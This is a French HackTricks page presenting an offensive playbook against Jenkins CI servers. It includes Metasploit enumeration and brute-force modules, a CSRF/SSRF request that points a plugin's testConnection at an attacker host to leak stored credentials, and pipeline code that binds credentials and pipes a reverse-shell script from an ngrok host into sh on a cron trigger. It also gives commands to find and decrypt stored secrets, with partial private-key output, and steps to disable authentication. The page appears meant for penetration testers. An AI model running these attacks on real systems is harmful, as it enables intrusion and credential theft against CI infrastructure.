Jenkins Sécurité
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Jenkins est un outil qui offre une méthode simple pour établir un environnement de continuous integration ou continuous delivery (CI/CD) pour presque toute combinaison de langages de programmation et de dépôts de code source en utilisant des pipelines. De plus, il automatise diverses tâches de développement routinières. Bien que Jenkins n’élimine pas la nécessité de créer des scripts pour des étapes individuelles, il fournit une manière plus rapide et plus robuste d’intégrer l’ensemble de la séquence d’outils de build, test et déploiement que ce que l’on peut aisément construire manuellement.
Énumération non authentifiée
Pour rechercher des pages Jenkins intéressantes sans authentification comme (/people ou /asynchPeople, qui liste les utilisateurs actuels), vous pouvez utiliser :
msf> use auxiliary/scanner/http/jenkins_enum
Vérifiez si vous pouvez exécuter des commandes sans authentification :
msf> use auxiliary/scanner/http/jenkins_command
Without credentials you can look inside /asynchPeople/ path or /securityRealm/user/admin/search/index?q= for usernames.
You may be able to get the Jenkins version from the path /oops or /error
.png)
Vulnérabilités connues
GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers
Connexion
Dans les informations de base vous pouvez vérifier toutes les façons de vous connecter à Jenkins :
Inscription
Vous pourrez trouver des instances Jenkins qui vous permettent de créer un compte et de vous y connecter. Aussi simple que cela.
Connexion SSO
De plus, si des SSO fonctionnalité/plugins sont présents, vous devriez tenter de vous connecter à l’application en utilisant un compte de test (par ex., un compte de test Github/Bitbucket). Astuce tirée de ici.
Bruteforce
Jenkins ne dispose pas de politique de mot de passe ni de username brute-force mitigation. Il est essentiel de brute-force les comptes car des mots de passe faibles ou des usernames as passwords peuvent être utilisés, voire des reversed usernames as passwords.
msf> use auxiliary/scanner/http/jenkins_login
Password spraying
Utilisez this python script ou this powershell script.
IP Whitelisting Bypass
De nombreuses organisations combinent des solutions SaaS-based source control management (SCM) telles que GitHub ou GitLab avec une solution CI interne et self-hosted comme Jenkins ou TeamCity. Cette configuration permet aux systèmes CI de recevoir des webhook events depuis les SaaS source control vendors, principalement pour déclencher des pipeline jobs.
Pour ce faire, les organisations mettent en liste blanche les plages IP des plateformes SCM, leur permettant d’accéder au système CI interne via des webhooks. Cependant, il est important de noter que n’importe qui peut créer un compte sur GitHub ou GitLab et le configurer pour déclencher un webhook, envoyant potentiellement des requêtes au système CI interne.
Abus internes de Jenkins
Dans ces scénarios, nous supposerons que vous disposez d’un compte valide pour accéder à Jenkins.
Warning
Selon le mécanisme d’autorisation configuré dans Jenkins et les permissions de l’utilisateur compromis, vous pourrez ou non effectuer les attaques suivantes.
Pour plus d’informations consultez les informations de base :
Lister les utilisateurs
Si vous avez accès à Jenkins, vous pouvez lister les autres utilisateurs enregistrés sur http://127.0.0.1:8080/asynchPeople/
Extraction des builds pour trouver des secrets en clair
Utilisez this script pour extraire les sorties console des builds et les variables d’environnement de build afin de, espérons-le, trouver des secrets en clair.
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
Certains plugins exposent des handlers Jelly validateButton ou test connection sous des chemins comme /descriptorByName/<Class>/testConnection. Quand les handlers n’imposent pas POST ou des vérifications de permissions, vous pouvez :
- Remplacer POST par GET et supprimer le Crumb pour contourner les contrôles CSRF.
- Déclencher le handler en tant que low-priv/anonymous si aucune vérification
Jenkins.ADMINISTERn’est présente. - CSRF un admin et remplacer le paramètre host/URL pour exfiltrer des credentials ou déclencher des appels sortants.
- Utiliser les erreurs de réponse (p.ex.,
ConnectException) comme un oracle SSRF/port-scan.
Exemple GET (sans Crumb) transformant un appel de validation en SSRF/credential exfiltration:
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
If the plugin reuses stored creds, Jenkins will attempt to authenticate to attacker:4444 and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
Stealing SSH Credentials
Si l’utilisateur compromis dispose de suffisamment de privilèges pour créer/modifier un nouveau Jenkins node et que des SSH credentials sont déjà stockées pour accéder à d’autres nodes, il pourrait steal those credentials en créant/modifiant un node et en configurant un host qui enregistrera les credentials sans vérifier la host key :
.png)
Vous trouverez généralement les Jenkins ssh credentials dans un global provider (/credentials/), donc vous pouvez aussi les dumper comme n’importe quel autre secret. More information in the Dumping secrets section.
RCE in Jenkins
Obtenir un shell in the Jenkins server donne à l’attacker l’opportunité de leak tous les secrets et env variables, d’exploit other machines situées sur le même réseau ou même de gather cloud credentials.
Par défaut, Jenkins run as SYSTEM. Donc, le compromettre donnera à l’attacker SYSTEM privileges.
RCE Creating/Modifying a project
Créer/modifier un projet est un moyen d’obtenir RCE sur le Jenkins server :
Jenkins RCE Creating/Modifying Project
RCE Execute Groovy script
Vous pouvez aussi obtenir une RCE en exécutant un Groovy script, ce qui pourrait my plus discret que de créer un nouveau projet :
Jenkins RCE with Groovy Script
RCE Creating/Modifying Pipeline
You can also get RCE by creating/modifying a pipeline:
Jenkins RCE Creating/Modifying Pipeline
Pipeline Exploitation
Pour exploiter des pipelines vous devez toujours avoir accès à Jenkins.
Build Pipelines
Pipelines peuvent aussi être utilisés comme mécanisme de build dans les projets, dans ce cas un fichier dans le repository peut être configuré qui contiendra la syntaxe du pipeline. Par défaut /Jenkinsfile est utilisé :
.png)
Il est aussi possible de stocker les fichiers de configuration du pipeline ailleurs (par exemple dans d’autres repositories) dans le but de séparer l’accès au repository et l’accès au pipeline.
Si un attacker a write access over that file il pourra le modifier et potentiellement trigger le pipeline sans même avoir accès à Jenkins.
Il est possible que l’attacker doive bypass some branch protections (selon la plateforme et les privilèges utilisateur elles pourront être bypassed ou non).
Les déclencheurs les plus courants pour exécuter un pipeline personnalisé sont :
- Pull request to the main branch (or potentially to other branches)
- Push to the main branch (or potentially to other branches)
- Update the main branch and wait until it’s executed somehow
Note
Si vous êtes un external user vous ne devriez pas vous attendre à pouvoir créer une PR to the main branch du repo d’other user/organization et trigger the pipeline… mais si c’est bad configured vous pourriez fully compromise companies just by exploiting this.
Pipeline RCE
Dans la section RCE précédente il a déjà été indiqué une technique pour get RCE modifying a pipeline.
Checking Env variables
Il est possible de déclarer des clear text env variables pour l’ensemble du pipeline ou pour des stages spécifiques. Ces env variables ne devraient pas contenir d’informations sensibles, mais un attacker peut toujours check all the pipeline configurations/Jenkinsfiles :
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
Exfiltration des secrets
Pour des informations sur la façon dont les secrets sont généralement traités par Jenkins, consultez les informations de base :
Les Credentials peuvent être scopés aux providers globaux (/credentials/) ou à des projets spécifiques (/job/<project-name>/configure). Par conséquent, pour exfiltrer tous les credentials, vous devez compromettre au minimum tous les projets qui contiennent des secrets et exécuter des pipelines personnalisés/empoisonnés.
Il y a un autre problème : pour obtenir un secret dans l’environnement d’un pipeline, vous devez connaître le nom et le type du secret. Par exemple, si vous essayez de charger un usernamePassword secret en tant que string secret, vous obtiendrez cette erreur :
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
Voici comment charger certains types de secrets courants :
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
À la fin de cette page, vous pouvez trouver tous les types d’identifiants : https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
Warning
La meilleure façon de dump all the secrets at once consiste à compromising la machine Jenkins (par exemple en exécutant un reverse shell dans le built-in node) puis à leaking les master keys et les encrypted secrets et à les decrypting offline.
Plus d’informations sur comment faire cela dans la Nodes & Agents section et dans la Post Exploitation section.
Déclencheurs
D’après the docs : la directive triggers définit les manières automatisées dont le Pipeline doit être relancé. Pour les Pipelines intégrés à une source telle que GitHub ou BitBucket, triggers peut ne pas être nécessaire car une intégration basée sur webhooks sera probablement déjà présente. Les triggers actuellement disponibles sont cron, pollSCM et upstream.
Exemple cron:
triggers { cron('H */4 * * 1-5') }
Consultez d’autres exemples dans la documentation.
Nodes & Agents
Une Jenkins instance peut avoir different agents running in different machines. Du point de vue d’un attaquant, l’accès à différentes machines signifie different potential cloud credentials à voler ou different network access qui pourrait être utilisé pour exploiter d’autres machines.
Pour plus d’informations, consultez les informations de base :
Vous pouvez énumérer les configured nodes dans /computer/, vous trouverez généralement le Built-In Node (qui est le node exécutant Jenkins) et potentiellement d’autres :
.png)
Il est particulièrement intéressant de compromettre le Built-In node car il contient des informations Jenkins sensibles.
Pour indiquer que vous voulez run le pipeline dans le built-in Jenkins node vous pouvez spécifier dans le pipeline la configuration suivante :
pipeline {
agent {label 'built-in'}
Exemple complet
Pipeline dans un agent spécifique, avec un cron trigger, avec des variables d’environnement au niveau pipeline et stage, chargeant 2 variables dans un step et envoyant un reverse shell:
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
Arbitrary File Read to RCE
Jenkins Arbitrary File Read to RCE via “Remember Me”
RCE
Jenkins RCE with Groovy Script
Jenkins RCE Creating/Modifying Project
Jenkins RCE Creating/Modifying Pipeline
Post Exploitation
Metasploit
msf> post/multi/gather/jenkins_gather
Jenkins Secrets
Vous pouvez lister les secrets en accédant à /credentials/ si vous avez les permissions suffisantes. Notez que cela ne listera que les secrets contenus dans le fichier credentials.xml, mais build configuration files peuvent aussi contenir more credentials.
Si vous pouvez voir la configuration de chaque projet, vous pouvez également y voir les names of the credentials (secrets) utilisées pour accéder au repository et other credentials of the project.
.png)
From Groovy
Jenkins Dumping Secrets from Groovy
From disk
Ces fichiers sont nécessaires pour décrypt(er) Jenkins secrets :
- secrets/master.key
- secrets/hudson.util.Secret
De tels secrets peuvent généralement être trouvés dans :
- credentials.xml
- jobs/…/build.xml
- jobs/…/config.xml
Voici une regex pour les trouver :
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
Decrypt Jenkins secrets offline
Si vous avez extrait les needed passwords to decrypt the secrets, utilisez this script to decrypt those secrets.
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
Déchiffrer les secrets Jenkins depuis Groovy
println(hudson.util.Secret.decrypt("{...}"))
Créer un nouvel utilisateur administrateur
- Accédez au fichier config.xml de Jenkins dans
/var/lib/jenkins/config.xmlouC:\Program Files (x86)\Jenkis\ - Recherchez le mot
<useSecurity>true</useSecurity>et remplacez le mot **true** parfalse. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml- Redémarrez le serveur Jenkins :
service jenkins restart - Revenez sur le portail Jenkins et Jenkins ne demandera aucun identifiant cette fois-ci. Naviguez vers “Gérer Jenkins” pour définir de nouveau le mot de passe administrateur.
- Activez de nouveau la sécurité en remettant
<useSecurity>true</useSecurity>et redémarrez Jenkins.
Références
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter—toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
- https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

